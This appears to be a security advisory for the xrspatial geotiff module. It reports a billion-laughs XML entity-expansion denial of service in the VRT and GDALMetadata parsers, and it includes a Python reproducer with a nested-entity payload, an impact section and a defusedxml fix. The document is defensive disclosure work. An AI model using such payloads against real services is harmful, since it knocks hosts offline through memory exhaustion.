geotiff: XML entity expansion (billion-laughs) in VRT/GDALMetadata parsers

[brendancol]

Severity

HIGH (Cat 5 / DoS via crafted input file)

Summary

xrspatial.geotiff._vrt.parse_vrt and xrspatial.geotiff._geotags._parse_gdal_metadata use xml.etree.ElementTree.fromstring without protection against XML internal entity expansion ("billion laughs", CWE-776). A crafted .vrt file or a crafted TIFF carrying a hostile GDALMetadata tag (42112) can trigger exponential memory expansion when read via open_geotiff / read_vrt, OOM-killing the host process.

Reproducer

from xrspatial.geotiff._vrt import parse_vrt
xml = '''<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<VRTDataset rasterXSize="4" rasterYSize="4">
  <VRTRasterBand dataType="Float32" band="1">
    <Description>&lol4;</Description>
  </VRTRasterBand>
</VRTDataset>'''
parse_vrt(xml, '.')  # silently expands &lol4; -> 100,000+ "lol" copies

The same payload embedded in TIFF tag 42112 reaches _parse_gdal_metadata via open_geotiff(<file>).

Impact

• Anyone calling open_geotiff, read_vrt, or any path that ends up parsing TIFF GDALMetadata on attacker-supplied bytes can be OOM-killed.
• Common usage pattern: serverless/lambda pipelines, web services rendering user-uploaded rasters, CI runners ingesting external COGs.

Fix

Use defusedxml.ElementTree when available, or fall back to a custom XMLParser configuration that disables DTD/entity processing. Disallow DTDs entirely (these XML formats do not need them).

Found by

deep-sweep / sweep-security (2026-05-11) -- geotiff module audit.